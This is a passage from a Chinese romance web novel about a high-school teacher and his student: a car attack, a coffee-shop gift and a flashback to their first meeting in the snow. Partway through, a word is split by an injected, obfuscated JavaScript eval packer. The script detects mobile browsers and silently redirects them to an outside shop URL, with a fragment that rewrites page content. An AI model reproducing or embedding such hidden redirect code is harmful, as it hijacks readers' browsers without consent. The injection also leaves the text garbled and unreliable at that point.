他们已经认识了一个多月,赵栩突然才发现,自己居然还没有任课老师的联系方式,数学学科群也没建,微信号还从百事通韩明月那里问到的。 “好了。”秦暮野刚走下车,又折返回来,嘱咐道:“最近这一片有偷车的事情发生,一旦发生什么,立刻给我打电话。” 赵栩嗯了一声,目送他离开后,在车上环视一周,这辆车也像极了秦暮野本人,简单纯粹,没有任何吊饰和挂饰。 她的视线接着下移,却在前方车窗的台子上,发现了一盒药。 虽说窥探别人的隐私不好,但她在心里道了几声对不起后,还是忍不住多瞅了两眼。 就那么巧,可能道路比较颠簸,药盒被颠到了靠外的位置,赵栩只不过看了几眼,药盒突然掉到了地上。 这不是碰瓷吗! 赵栩连忙俯下身去捡药盒,在车座下摸索了一会儿,终于找到了药盒,以及掉落出来的说明书。 药物的名字叫右左匹克隆,对于这个陌生的名字,赵栩一时感到有些好奇,经历了几秒心理斗争后,一个字一个字敲入搜索框…… 这是一种安眠药,主治入睡困难,其副作用是味觉衰减。 赵栩对着手机,陷入了沉思,在她的认知里,安眠药属于精神类药物,正常没有心理问题是不会吃这种药的。 回想起秦暮野的种种举动,她觉得对方的举止再正常不过,挑不出一丝毛病。可正是因为这种过于一丝不苟,让她时常怀疑自己在和ai说话。 再仔细想想,世界上哪有十全十美的人呢?有没有一种可能,过于完美本身就是一种病。 一种把自己伪装得很好的病。 想到这里,赵栩目光放空,顿了顿,然后从小兔子挎包里摸出几块糖果,塞进了药盒里,但又觉得这样做有点冒昧,于是补上了一张便利贴。 毕竟,吃这药容易失去味觉。 沉思时,一阵车喇叭声打断了她的思绪,赵栩以为是他们的车挡道了,赶紧摇下车窗看向窗外,却发现了一位明艳俏丽的女大学生,正在向她微笑。 女子长着一双动人的狐狸眼,相貌美丽且妩媚,仪态优雅大方,那身黑色的修身裙衬得她风情万种,有着与年龄不相符的危险又迷人。 赵栩不禁被美女吸引了目光,加之对方唇角边的小梨涡,不禁又多了几分好感,回之以微笑。 周暮谣冲对副驾驶的女孩眨了眨眼,对其复杂的情绪达到了顶峰,借此机会认真端详着她: 女孩子身上的气质十分特别,置身俗世,却将凡尘的浮躁生生剥离。 她肤色胜雪,宛如杳杳云间深藏的白鸟,一顾一盼之间,如月临水的空灵,让人身心俱静。不经意间,就会为之吸引。 只需要一瞥,便再也移不开眼。 不知为什么,周暮谣本该危机感十足,却哑然笑出了声。 似乎有些理解了。 赵栩被看得有些不好意思,而对面的女大学生却依旧笑得明媚,也许是错觉使然,她总觉得那笑容莫名模式化。 周暮谣的目的达到了,她摇上车窗的刹那,微笑亦随之湮没在了黑影里。 …… 秦暮野推门进入咖啡店后,门口挂的铃铛响起,店里的客人像是受到了什么感召,纷纷看向门口这位气质不俗的美男子。 依旧是熟悉的白衬衫配西裤的组合,却被他穿出了男模的气质,秦暮野自动屏蔽了周遭的目光,径直向吧台走去。 恰好屏幕上的号码出现,他耐心等着店员小姐姐打包完手里的外卖单后,才上前询问:“你好,请问1314单好了吗?” 店员小姐姐抬起头来,见面前出现了这么一位稀缺的帅哥,还仿佛有那么点面熟……不禁腼腆一笑,想起正事,把咖啡打包后递给他。 秦暮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641022|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野接过袋子,道了声谢谢,却很明显感觉到袋子里渗出的凉气,再摇晃一下,都能听到冰块的碰撞声。 他再次拿出手机截图核对一番,赵栩点的是温热的橙C美式,而店员给的是正常冰。 女孩喝太多凉的终究不好,秦暮野犹豫稍许,再度回到吧台,委婉提出:“你好,我这杯点的是温热,却做成了加冰,请问可以再做一杯吗?我会正常付钱。” 他刚说完,没等店员说话,角落里的店长便走到她身边,拿起那杯加冰的美式,接着和订单对应,蹙起眉头,看向战战兢兢的店员,忍下了发火的意图,转而和秦暮野致歉: “真是不好意思,我们会为您免费重做一杯。” “没关系的,一杯是一杯的价钱,反正也不贵。”秦暮野礼貌地笑着,表示他并不在乎。 他看到店员谨小慎微的表情实在不忍,如果让她免费重做一杯,这一杯的钱就要从工资里扣,还要遭老板一顿数落,打工人又何苦难为打工人? 说话间,他又重新下了一单温热的橙c美式,并向店员点了点头,店员有些不知所措,感激地看向他,“谢谢你。” 老板愈加不好意思,想了想,拿出了一个精致的包装盒,介绍道:“这是我们店专门请设计师设计的,随即抽取10名顾客赠送,虽然不值什么钱,但样式还是很精美的,请您收下。” 接着,老板打开了礼盒,里面是一条橘子花手链,花瓣是用白色猫眼石做材料,一朵上面有五瓣,亦显现出了花瓣微微向内蜷缩的实感。 叶子则是用浅绿色的葡萄石雕刻而成,而葡萄石有象征幸运的含义在。 两种半透明的宝石交相辉映,放在光下映射出澄澈的光泽。 手链上的神来之笔,是那颗设计成橘子形状的铃铛,仔细贴近,能闻到清新的橘子果香,想必是填充了香珠。 老板接着补充:“这条手链,特别适合您这样皮肤偏白的人。” 不知为何,秦暮野总觉得这条手链莫名合眼缘,便没有再推脱,微笑致谢:“谢谢,那我就收下了。” 两人在谈论这条手链的时候,重做的那杯也已完成,店员闲下来后,不由得偷瞄了秦暮野好几眼,势要想起在哪里见过他。 秦暮野拿起咖啡袋子后,注意到了她的眼神,微微偏头表示疑惑:“请问有什么事吗?” 店长以为是员工犯了花痴,赶忙提醒:“别盯着人家看了,多不礼貌!” 店员凝神思考,迟疑了几秒,便轻捶手心,恍然大悟:“先生,您今年冬天,肯定来过我们店里!” “当时还有一个特别漂亮的小姐姐请你吃蛋糕来着,我都想起来啦!!!” 听到这番话,秦暮野敛去眸光,笑容渐次消失,轻轻点头算作回答,视线却越过窗户,直达那条看似平静,实则暗潮汹涌的海。 此刻的他,思绪再度回到他不愿提及的开始,心上徒留一片旷远,眼见那海天相接处融作一体,哪里还能辨得出最初的界线? 哪怕它们最初并无产生交集的打算,命运的重力仍是强行将其并在一起,谁料合时容易别时难,他又该向谁言明这句“不能说的秘密”? 秦暮野正打算离开,便接到了赵栩的语音通话,算是将他拉出了回忆。 “喂,老师。” 女孩在竭力压低嗓音,声线还有几分清晰的颤抖,仿佛在害怕什么,躲避什么。 不好的预感忽然浮现,秦暮野的心随之被提起,保持镇定轻声问道:“怎么了?” 电话里的赵栩努力平复恐慌的情绪,“停车这附近来了个怪人,手里还拿着球棒,您先别出来,我怕他……” 话还没说完,秦暮野清楚地听见,电话那头传来玻璃被打碎的巨响。 哗啦一下,玻璃仿佛震碎在他心里,脑海中亦传来“轰的一声,秦暮野蓦然瞪大眼睛,额间冒出细密的汗,一股寒凉爬上了他的脊背。 因为根据声音判断,赵栩所说的那个怪人,应当打破了他的车窗。 而坐在副驾驶的赵栩,此时深陷危险。 恐慌使他呼吸困难,高悬的心已经被放在摇摇欲坠的制高点。 秦暮野顾不得那许多,与时间赛跑,逆着前来咖啡店躲避的人群,以最快的速度冲向外面。 14. 不能说的秘密(4) 赵栩正和秦暮野通着电话,身后便传来玻璃破碎的巨响,震悚剧烈摇晃着她的心脏,女孩暂时丧失了说话的本能,如堕冰窟,手指止不住地发抖。 突如其来的变故让她不敢回头看,但她知道,这个时候只能自救。 由内而外的恐惧,使其耳畔回荡着不安的轰鸣,赵栩深吸一口气,强行让自己镇定下来,一边抬眼看向后视镜,一边摸向抽屉,寻找防身武器。 索性她并不近视,盯着后视镜中落入半个身子的男子,打碎玻璃后仍痴痴地笑着,手里挥舞着球棒,还在敲击着后窗的未掉落的玻璃,叮叮当当,无限放大了未知的恐怖。 她定睛一看,除了能判断出对方的精神不正常,总觉得这个人莫名眼熟。 仔细回想了一下,赵栩立刻从回忆的角落把他揪了出来: 开学第一天的晚上,他似乎出现在她家小区门口,还用手抓了她的胳膊来着! 思及此处,赵栩心里的怒火取代了恐惧,手中恰好寻到了一瓶香水,不明的阴鸷于暗处滋生,想要报仇的冲动逐渐占据上风。 精神不正常就可以危害别人的生命健康吗?他的家人是真不把别人的命当命。 如果她就这么遭难了,才是天下第一冤枉的人。 赵栩握紧了手里的香水瓶,海蓝色水晶制成的香水瓶,表面凹凸如海浪,不过她此时没有心情欣赏这么漂亮的瓶子,全部心思都在外面的不安定因素上,手心的紧紧嵌在瓶子的凸起处,压出一道醒目的红痕。 随着车窗外嚣张的嬉笑声越来越大,脚步声似乎也慢慢转移到了副驾驶的窗边,赵栩面色坚毅,没有流露出半分害怕,内心默念两个数,捏紧香水瓶,打算下一秒就摇下车窗把瓶子扔他脑门上。 她的手刚靠近车窗按钮,只见窗外一个白色的身影,阔步上前,没有半分犹豫,毫不留情地一脚正中对方胸口,直接把人踹倒在地。 男子直直倒在地上,一时失去了行为能力,可四肢还在乱舞,典型郁躁症犯了的样子,仍是威胁十足,让旁人还是不敢靠近。 秦暮野唯恐男子再伤人先用脚把球棒踢出几米外,垂眸间神色阴沉,没有丝毫情感。接着踩在对方的手腕上,并没有使太大力气,却足以限制其行动。 男子的手腕被牢牢踩住,他动弹不得,然后突然变了神态,从起初的嬉笑即刻变为哭闹,涕泪横流得狼狈,完全没有成年人的样子。 边哭边喊:“妈妈妈妈,他们都欺负我……” 这两个字冷不丁落在了秦暮野的心口,他的神色稍敛,眼底带着怒意的冰冷稍稍消解,取而代之的,是感同身受的悲悯。 不经意间,他收回了脚。见周围的保安来了,秦暮野不再多留,更不忍去看男子的惨状,转身离去,步伐亦随之零落。 或许,他们都是同样的可怜人……一个装作清醒,一个真实疯癫。 判断情势安全了,赵栩连忙摇下车窗,叫住了神思恍惚的秦暮野,“老师,您没事吧?” 秦暮野从思绪中被抽出,点了点头,又恢复了常态。 他站在副驾驶窗前,俯下身子,难掩担忧:“不好意思,让你受到了惊吓。” 赵栩心有余悸,却条件反射似的展露出不在意的笑容,注视着对方的眼睛,释怀地笑着: “没事的,这就是个意外,和您没什么关系。” 她就是这样,明明会害怕,面对别人的慰问时,却下意识偷偷藏起脆弱的一面,安慰别人永远在安慰自己之前。 秦暮野当然能看出她掩饰慌乱的样子,眉峰蹙得更加厉害,嗓子干涩难言,嘴唇动了动,最终还是把想说的话咽了回去。 那双平素冷淡的眼睛,忽然多了几分包容,此时竟愿意拥抱春风,趋于温情,企图吹散女孩眼底乐观的假象。 他本来话就少,这种情形下,不知道该用什么话去安慰,更不知道用什么立场去安慰。 不远处的周暮谣才让司机师傅把车开走,就听闻停车场出事了,待到情势稳定后折返回来,就看到了她的哥哥俯身望向副驾驶的一幕。 一米九的人,再次折腰之时,他俨然已经变成了周暮谣不认识的样子。 周暮谣本不想打扰他,以免平白讨人嫌,更不想自找不痛快。 只不过再抬头时,对方显然已经注意到了她,她便挥挥手,过去赴会。 “暮谣?”秦暮野对妹妹的出现有些意外,眼神中的柔和转瞬变淡,浅笑着点了点头。 周暮谣把目光转向不明所以的赵栩,弯起自带风情的狐狸眼,露出善意的笑。 秦暮野知道她可能误会了什么,走到赵栩身前,隔开了妹妹的视线,率先解释:“是我班里的学生。” 神情之淡然,如同在说今天吃了什么一般。 周暮谣收起了意味深长的表情,嗯了一声,便转了话题:“爸爸这几天工作忙,也为了前些日子的事,愁眉不展的。” 前些日子的事,指的是: 前些日子周陵翻起旧账,又直言道当高中老师没出息,一气之下,就把砚台投掷向秦暮野,于是其锁骨就被打伤。 秦暮野垂下眼睑,陷入沉默之时,妹妹突然朝他走近。 “所以哥哥,你就回家吃饭嘛。”周暮谣绕了一圈,终于说出真实意图。 此时的她利用自己长得漂亮的优势,仰头望着他,眼里亮晶晶的,意图去拉住他的胳膊。 秦暮野自觉不妥,不动声色地避开,尴尬笑了笑,想着拒绝的说辞。 “抱歉,我今天晚上要看自习,就不去了。”秦暮野微笑,礼貌拒绝。 在旁人看来,这两人哪里像兄妹,倒像是不熟。 赵栩心细如发,对于两人的家庭关系不由得多猜想了一点,眼睛都不知道往哪里放,只得假装四处看风景,却正好撞上了美女姐姐含笑的目光。 周暮谣先是打量了一番被砸碎后窗的奔驰,道:“哥哥,你的车子都这样了,不如让我打车送你们回学校吧。” “不用了。”秦暮野再次拒绝,接着转头看向车子。 车子倒是只有后窗破碎,前面并没有收到波及,正常开走肯定没有问题。 只是……他考虑到这毕竟算案发现场之一,万一给学生留下了什么阴影,再坐这辆车反而会让她感到不安全。 思索稍许后,秦暮野说:“我打辆车就行。” “不用了老师。”赵栩直接摇了摇头,“我坐你这辆车就行。” 如果老师要把她送回学校,还要再回来把这辆车开到检修中心,会给他造成麻烦。 她怕对方不同意,继而补充:“反正也没坏,何况我不喜欢出租车上的油漆味,容易晕车。” 秦暮野沉吟稍许,“也好。”说完,向继母和继妹道别后,本能性地去打开副驾驶的门时,眉心微动。 他忽然意识到,她的脚还在负伤,竟然陪他们站了这么久。 赵栩的脚腕没有最初那么疼了,不需要拄拐行动也方便了许多。 坐回位置后,她后知后觉,手里竟然还捏着那个差点当做武器的海蓝色香水瓶,连忙把它放了回去。 秦暮野把咖啡袋和礼品袋递给她,疏朗的眉目间透出温和的笑意,说:“你很勇敢。” “没什么好怕的。”赵栩云淡风轻笑了笑,似乎已经忘记了恐惧的来过。 亦或许,方才的恐慌比起她所能承受的阈值,不过十分之一。 赵栩拿出完好的咖啡杯,端详了一番,心想他刚才飞踢一踹,居然一滴都没有洒。 然后她拿出礼品袋里的首饰盒,面露疑惑。 “店家送的。”秦暮野言简意赅,接着发动车辆,两人又归于一路无言的状态。 赵栩从盒子里取出橘子花手链,橙绿相间的光斑落在她的手心,仿佛春回大地,吹散了她眉梢的阴霾,偌大的天空亦有一寸归晴。 她抵抗不了亮晶晶的物件,随即把它戴在手腕上,沐浴着正午的阳光,把座椅稍稍下放,打算小憩一会儿。 枕着冷冰冰的软座,她把脑袋偏向窗子,侧望着窗外攘来熙往的人群,恰有一家三口从人行道走过,小姑娘拉着父母的胳膊在玩荡秋千。 赵栩下意识为这温馨的一幕展露笑颜,可是那笑却到达不了眼底,更多的是类似“羡慕”的情感弥漫开来,遽然间开始患得患失。 她想,如果刚才被一球棒打死了,是不是就没机会坐在这里了。 但她就算活着,也从来没有享受过家庭的温暖。 她的人生真是不幸,永远在颠沛流离,好不容易安定下来,却遭受了无妄之灾,一次两次三次……甚至可能有第四次。 赵栩尽力压下心底的酸涩,背过身藏起伤感,生怕被身旁的老师发现,还要费心思编话安慰她。 秦暮野看似专注地开着车,实则耳力极好,轻微吸鼻子的声音在窄小的空间里被无限放大。 他本想出言安慰,却考虑到对方,似乎不想让别人看到脆弱的一面,欲言又止。 等红绿灯的时候,秦暮野目光稍移,手指在方向盘上点了点,犹豫片刻,打开了许久未开机的车载导航,打了几个字,音响里便开始播放钢琴曲。 奏出的每一个音符,似是被阳光晒过,迎着青春的风,逐渐消解那堵横亘的冰墙。 这一刻,音乐是只是黑白的,也许这份非黑即白的纯粹,暂时抚平了那份杂乱的心绪, 赵栩轻舒一口气,紧张的神经随着舒缓的旋律慢慢放松,唇边不自觉浮现笑意。 如果可以,她只想找个地方躺着,让身心暂时逃到一处僻静的净土,休整片刻。 她拢了拢校服,选择闭目养神,枕着悠扬的音乐入梦。 后来她才知道,这首钢琴曲的名字,叫Angle。 从天而降,猝不及防地闯入了她的世界。 就这样想着,炸鸡柳的香气飘进了车子内,赵栩不用睁眼都知道已经回到了学校附近,心底蓦然沉了下去,身体愈加犯懒,不想走出这片舒适区。 秦暮野停下车子后,扭头看向副驾驶的人,凝神静听,通过呼吸声判断出对方应当是在装睡。 他纠结片刻,便调整车窗按钮,把靠近小吃摊那侧的窗户关上,把自己那侧的窗户稍微放下,随后放轻动作下了车,把赵栩一个人留在车里。 毕竟当一个人抱有危机感时,应该不怎么喜欢走动。 饭店还没彻底过去,学校对面的小吃摊位依然热闹,炸鸡柳味、烧烤味、烘焙面包味、菜煎饼味……老城区的烟火气被风吹到对街,为原本寂静的校园增色不少。 梧桐树下的秦暮野和车子却好似自成一体,横斜出来的树枝落在他的肩头,赠予燥热的午间一份新绿。树影于午间缓缓流动,化作液态实形将那份闹意隔绝,徒留融化了果木香的恬淡。 秦暮野背靠在车旁,难得惬意,轻抿了一口错给的加冰橙C,一时间眉头紧锁。 好甜。 又凉又酸又苦又甜的怪味让他有些招架不住,他只得暂时盖起咖啡盖,此时咖啡袋里却传来一阵异响,似乎是什么在滚动。 原来是一颗误入的咖啡豆。 秦暮野把它放在掌心,垂下眼眸细细查看这颗“意外的咖啡豆”,残留的清苦香气蔓延开来,忽然触及到记忆中的某个关卡。 他握住了咖啡杯,清润的桃花眼深邃如墨,一点点浮现的光芒,都会为墨云吞噬, 他只敢眺望橘子树,从此不敢看观音。(1) 因为他害怕那片海,会随着不敢触及的苦橙味,没入他的回忆…… …… *几个月前.冬 正值深冬,却无冬绥之相,天边积攒着成片的乌云,将天地有限的容积内再度压缩,连同远方的海像是被冻结,了无生气。 那是定海市最冷的一天,气温以至零下五度,秦暮野站在咖啡店外的草坪上,遥望遨游天际的海鸥,心里则是默念待会儿面试会考到的问题。 前些日子他参加了四中教师编的笔试,尽管是毫无争议的第一名,可面试这关始终是他的软肋。 前辈的话还犹在耳:面试的时候要保持微笑,看起来平易近人一点,就你这样冷着一张脸,你是面试官还人家是面试官? 大雪将至,初雪之前,亦是冷得难出手,秦暮野的脚下不自觉地踱着步子,虽面上从容,但脖颈间的薄汗仍是出卖了他略微紧张的情绪。 毕竟,他这次考教师编本就是率性而为,只为了逃离父亲的掌控。之前去考沪上市的教师编,就被搅黄了,这一次他不想再失败。 接着,秦暮野脱下了黑西服,把它搭在手臂上,对着窗户用右手整理了下领带,确保得体且万无一失。 此时的他只穿了一件修身的白衬衫,有种说不出的清贵禁欲,精壮的身材若隐若现。 高大的身影映在玻璃落地窗里,超脱于繁尘,尽显疏离淡漠。 突然,一滴咖啡划过空中,像是躲不掉的因果,正中他的左胸,白衬衫上就这样留下一滴分外明显的咖啡渍。 秦暮野还没反应过来,草坪不远处就传来了女孩不悦的声音: “我说你是不是听不懂人话?你自己有手有脚还管她要钱?” “告诉你,下次你再去找她,别怪我用门口的钓鱼竿打你!” 女孩手里的咖啡杯已经见了底,咖啡已经尽数泼在了与之发生争执的男子身上。 还有一滴……不幸落在了秦暮野的衣服上。 秦暮野尚未来得及顾忌前胸的咖啡渍,便被不远处的两人吸引了注意力…… 女孩的父亲被泼了一身咖啡,很是狼狈,用手随便摸了把脸上的液体,哂笑一声:“我真白养你这么多年了……” “你妈带着野种远走高飞,把你一个人留在大山里,一留就是十多年,你都忘了?”男子愤怒中带着戏谑的眼神,让赵栩很是气结。 他所说的“野种”,是赵栩的马上要上小学的妹妹赵柠,不过不是亲的,而是她的妈妈领养的。 赵栩眼神冷如刀子,“你把嘴巴放干净点!” 赵栩的父母亲从她记事开始,关系就已覆水难收。母亲带着妹妹离开大山,外出打工另谋生路。 而留下赵栩在山区度过童年,虽然女孩嘴上不说,可那段不美好的回忆始终是她心里的一根刺。 男子索性破罐子破摔,冷哼一声,“你妈在外面吃香喝辣,把亲生女儿甩手不管,等赚够钱了再把你接走,还美其名曰带你去大城市过好日子,我呸!” “她现在混成了个什么副总,也掩盖不了她曾经把你扔下不管的事实!”男子点了一根烟,哑着嗓子说。 男子虽然学历不高,但深谙人性之道,企图说更多赵栩童年的故事,唤起她不愿回首的回忆,以离间她们母女的关系。 赵栩面无表情,不为所动,“说完了吗?说完了就走。” 她咽下喉咙里的酸疼,苦笑道:“说一千道一万,你不就是舍不得我妈那点钱吗?” 闻着刺鼻的烟味,她难掩嫌恶,后退一步。 “她又背着我给了你和舅舅不少,你也该放过她了。”赵栩仰望天空,面露感伤,“她有她的生活,你有你的,我很感谢你养了我,但这改变不了你曾经伤害她的事实。” 说完,她眸光微沉,暗色将瞳孔中的灵气吞噬。 “我手上有你和女大学生约会的照片,你要是再不知轻重,来日对簿公堂,你觉得自己有没有胜算。”女孩那张清纯可爱的脸陡然阴沉下来,露出一个让人不寒而栗的笑容。 画外音其实不止于此,男子怒气反笑,把烟头狠狠扔到地上,便转身离去。 结局了一个麻烦后,赵栩像是被抽出一缕气力,望向父亲离去的背影,不辨情绪。 接着转过身来,踩灭那根父亲随手丢弃的烟头,用卫生纸包好丢入了垃圾桶。 再回眸时,却误入了十里桃林。风吹花谢,唯有山水动人。 赵栩怔怔地望着身后那人,忘记了言语,大胆地对视回去。 她发誓,那绝对是她见过的,最好看的眼睛之一。 鉴于咖啡在整洁熨贴的白衬衫上过于醒目,赵栩很快就把视线移到了上面,很快便反应过来: 是她干的。 赵栩暂时忘记了烦心事,没有犹豫,小跑上前,站定后不敢看对方的神色,略微紧张地说:“不好意思,是不是我泼的咖啡把您的衬衫弄脏了。” 待秦暮野注意到衬衫上的污渍时,就听到了女孩对于其父的一番诘问,并非好奇心使然,却让他忍不住驻足多看一会儿这新鲜的场景。 不知道为什么,他忽觉解气。 莫名的。 “没关系的。”秦暮野无事笑笑,就打算转身离开,因为还有大概一个小时就要到候考室集合了。 赵栩迷茫地眨了眨眼,稍作迟疑,叫住了他,“先生请等一下!” 面对他不解的表情,她一步一步,踏着草坪而来,足下与咖啡店内的混响融为一体,踩点似的点在风中,携来的茉莉香染过贫瘠的草皮。 秦暮野记得,当时咖啡店里正在播的电影是:《海上钢琴师》 而背景配乐是那首有名的:《1900''sTheme》 孤独的钢琴师望着窗外甲板的姑娘,以指尖下的曲目,演奏那篇无言的深情。 一生颠沛流离,一生固守信仰。 回到现实中,他面前的女孩长发披肩,浅涂灰粉色口红,一身天蓝色的长款羊毛大衣,内搭浅咖色毛衣,纯粹清新,更难逃美丽冻人。 她的鼻尖被冻得红红的,加之恰到好处的颊边痣,有种说不出的纯净破碎感。 赵栩站定在他身前,仰起头,一双黑亮的眸子不容抗拒的撞上他的,忽生柔光。 打量着他这一身正装,据她判断这人要不然去面试,要不然去相亲,如果因瑕疵而丧失了机会,那她的良心该多么不安。 秦暮野突然被喊住,停下脚步,低垂眼睑,眸中掠过一丝疑惑。 赵栩接着低下头,从毛衣上解下一枚小鲸鱼胸针,捧在手心里,“这个送给你,可以遮盖污渍。” 秦暮野陷入了迟疑,其实他一会儿可以穿着西装,污渍倒是无伤大雅,所以一时不知该接还是不该接。 “那就……抱歉啦。”赵栩见他神色愣怔,迟迟不动作,以为是他碍于情面不好意思接受。。 于是率先一步走上前,为着对方长得很高,她使劲踮脚,然后轻轻捏起衬衫,把那枚小鲸鱼胸针替他戴了上去。 那一刻,秦暮野忘记了呼吸,胸口处触碰到了温凉的金属,像是于寂静之湖一点而过,荡漾而起的涟漪,一圈一圈敲击在胸腔。 第一次,有女孩离他的心脏那么近。 时间很短,却又那么长。 秦暮野喉咙微干,眼神聚焦在远处的海,远方淡墨色的天空,雪雾将至,使得海与天的界限逐渐分明,霎时间,梨花白似的冰晶便从天而降。 “好啦。”赵栩替他带好后, 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因为难忘,就是想在记忆里无数次为她点去眉梢的落雪。 至此之后的很多个日夜,秦暮野倍感疲累之时,从窗眺望城市的夜景,脑海里都会浮现出那个踏着初雪而来的女孩,平生的多愁都会因她埋入雪地。 偶尔望着遁入蓝河的月亮,他会想: 月色与雪色之间, 那天是哪一种颜色呢?(2) 寒假还没结束的日子里,秦暮野已然成为了咖啡店的常客,选在了柜台附近,也就是视线最好的位置开始办公。 其实咖啡店里他家里并不算近,如果要找地方备课的话,市图书馆是更好的选择,只不过…… 自那日雪霁初晴,簌簌落下的银花时不时会跃入他的眼底。怀着些许私心,一种神秘的力量让他重回这里。 今天咖啡店里播放的电影是《不能说的秘密》,在他看来,这是一部被严重低估的带有微悬疑色彩的校园爱情片。 “我能遇见你,已经是很不可思议了。” 演员说出这句台词时,门口的风铃忽然响起,秦暮野放下冷咖啡,望向门口的瞬间,海风顺势而入,再次拨动风铃,也搅扰了他的心跳。 女孩今天穿了一件牛仔连衣裙,明明是偏暗色的着装,却被穿出了简约知性的气场。发型绑了个俏皮的低麻花辫,显得清纯可爱。 今天店里人不多,赵栩从周边的数学补习班下课后,临时起意来这里写作业,顺便看看书。 她当然没有注意到旁人的目光,而是挑了个窗边的位子坐下来,因为那里能看到海。 接着她打开一轮复习的册子,起初还算顺利,几道题后就犯了难。 咖啡是热着端上来的,待她解出那道统计大题,咖啡已经趋于温凉。 赵栩端起咖啡杯抿了一口,微皱眉头,冷掉的馥芮白喝起来终归怪怪的。不过她没有纠结于此一只手端着咖啡,一只手翻着习题册的答案…… 只算对了第一问! 又冷又腻的苦味在口腔里逸开,赵栩又随手下单了一个菠萝蛋糕,就把数学册子合上,翻出挎包里的诗集: 洛尔迦的《船在海上,马在山中》 倒不是她多么能看进去纯诗集,起初只是被“蒙着眼的人,在抚摸一匹蓝色的马”这张书封吸引,就买了下来,顺便做一点作文素材积累。 可是字没写几个,她就被书里的内容吸引了,一页一页翻阅,停不下来。 在柜台庞的秦暮野,则是已经重写了几张教案。 他当然知道偷看女生是极其不礼貌的行为,所以仅是在她进门的时候匆匆看了一眼,就继续低头备写教案,并且自以为专注了十几分钟。 只是反应过来时,平时能心算的大题,却算错了好几道。 飞舞的蝴蝶总在他眼前忽闪忽闪,小翅膀扫过他难以平静的心湖,一波未平一波又起。 尚在迷离之际,青山有思,涟漪却撞入那双墨色的井。 他又撕下一张演草纸,掐了掐眉心,耳边却传来“扑通”一声,似是有什么东西落入他的咖啡里。 “对不起对不起。” 店员小姐向他道歉,原来是倒咖啡豆时忙中出错,居然有一颗掉进了客人的杯子里。 秦暮野摇摇头,“没事的,这杯也快喝完了。”说完,他终于得了机会抬头,默默关注着窗边的女孩。 女孩单手托腮,蔚蓝的海衔着诗与远方而来,阳光打在她的侧脸,明媚柔和。 从她所处的方向,一缕阳光照进了他无波无澜的眼眸,意图远航的舟楫以暖光为界,就此搁浅,再难离去。 秦暮野忽然想到洛尔迦的诗集里曾有一句: “心碎的人总在街角遇见。” 他不知道面前那个仅有两面之缘的女孩,有没有妥善处理好家里的事务……可是他,对于自己的原生家庭,一时半会儿应该是无能为力了。 想到这里,他神色黯淡,移开目光,克制住隐隐作祟的心动,再次把心思用到教案上来。 赵栩看书看得入迷,却接到了妹妹的电话,原来是她和小朋友发生争执,老师喊家长去解决。 放下手机,赵栩刚忙收拾好东西,二话不说就往门外冲,却被服务生拦住: “小姑娘,你的蛋糕还没吃呢。” 赵栩突然想起还有这回事,愣了片刻,而后随手指向正在奋笔疾书的秦暮野,“给他吧,他学习比较辛苦。” 她看得也不真切,只觉得那人很像大学生。 撂下这句话后,她就匆匆离去,只留下一份蛋糕和一个不爱吃甜点的男士。 听着再度响起的风铃,一切再度归于平淡,仿佛她从未来过。 秦暮野心里有着说不出的落寞,还没反应过来,那盘菠萝小蛋糕就到了自己的桌子上,他轻挖了一小勺,放入嘴里: 好甜! 可甜着甜着,果粒就悄悄炸开,顷刻之间,果味的甜香将他那颗没有温度的心腌渍,蔓延无度。 人生第一次,他感受到了悸动。 也是第一次,他感受到了无措。 他默默告诉自己,如果下一次再相遇,一定要问一问她的名字。 哪怕这种行径为他所不齿,且冒昧。 可是,后来与她的第三次重逢,就是在师大附中了…… …… “秦先生?秦先生?” 听到有人叫他,秦暮野从回忆中抽出身来,转身看向外卖小哥,礼貌致意,同事有些疑惑:“不好意思,我似乎没点…” 外卖小哥:“您家的阿姨做好了饭,让我给你送过来。” “谢谢。”秦暮野接过保温袋后,看了一眼,有骨头汤、糖醋排骨、番茄土豆和米饭。 他暗自无奈,送饭想必是出自父亲的授意,加之他个人本来就没有什么口腹之欲,更没胃口了。 秦暮野手里的咖啡杯见了底,在扔进垃圾桶的前一秒,他蓦地注意到纸杯下部标签处的客户昵称: 苦橙。 这杯误做的冰咖啡原是赵栩的那杯。 说来也是巧合,他寒假时在红豆app上认识了一位网友,昵称也是“苦橙”,他偶尔登陆,也是想着能帮对面那位高中生排忧解难,总归是提前适应一下老师的身份。 “秦老师。” 赵栩觉得总这么装睡也不是个事,待到神思清醒些,就从车上下来了。 秦暮野的视线从纸杯上移开,越过车子抵达她,淡然点头,“现在食堂可能没饭了。”说完,把手里的袋子递给她,“吃这个吧。” “这怎么好意思……”赵栩匆匆瞥了一眼,注意到里面的食物都是用保温饭盒装好的,定然不是外卖,忙摆手婉拒。 秦暮野又走上前一步,把保温袋放在了车子引擎盖上,神情毫无波动。 “我去修车,拿回班里吃吧,吃完直接把饭盒放我桌子上就行,你刷起来也麻烦。”他没有去看学生的表情,直接上了驾驶座,不容她拒绝。 这种情形下,赵栩肯定是要拿,她双手提起袋子后,走到车窗边敲了敲,眼眸微弯,“谢谢老师。”然后与之挥手道别。 秦暮野愣了几秒,嗯了一声,然后摇上车窗,驾驶车辆离开。 车子开出去不远,就被红绿灯拦下,他在等待时间,突然注意到前方台子上摆的药盒。 他的第一反应是,许是一时疏忽,忘记把药保管好。 秦暮野拿起药盒,却发现了上面的便利贴,用熟悉的字迹写到: 抱歉啊老师,不小心碰到了您的药(绝对没有故意偷看的意思orz)by赵栩 什么叫故意偷看? 看到这个矛盾的说法,秦暮野暗自笑笑,可片刻的笑容过后,他敛去眸光,心底的隐秘处被似是被悄悄撕裂,总有一种秘密被人发现的狼狈。 他接着拆开了药盒,却有一颗水蜜桃硬糖,迫不及待地滑入了他的手心。 秦暮野眼底掠过一丝柔和,便拆开包装,吃了近两个月来的第一块糖。 虽然还是一如既往的齁甜…… 他这次没有甜到皱眉,而是把注意力放在了那张会发光的糖纸上。 秦暮野逆光而望,把糖纸放在阳光下: 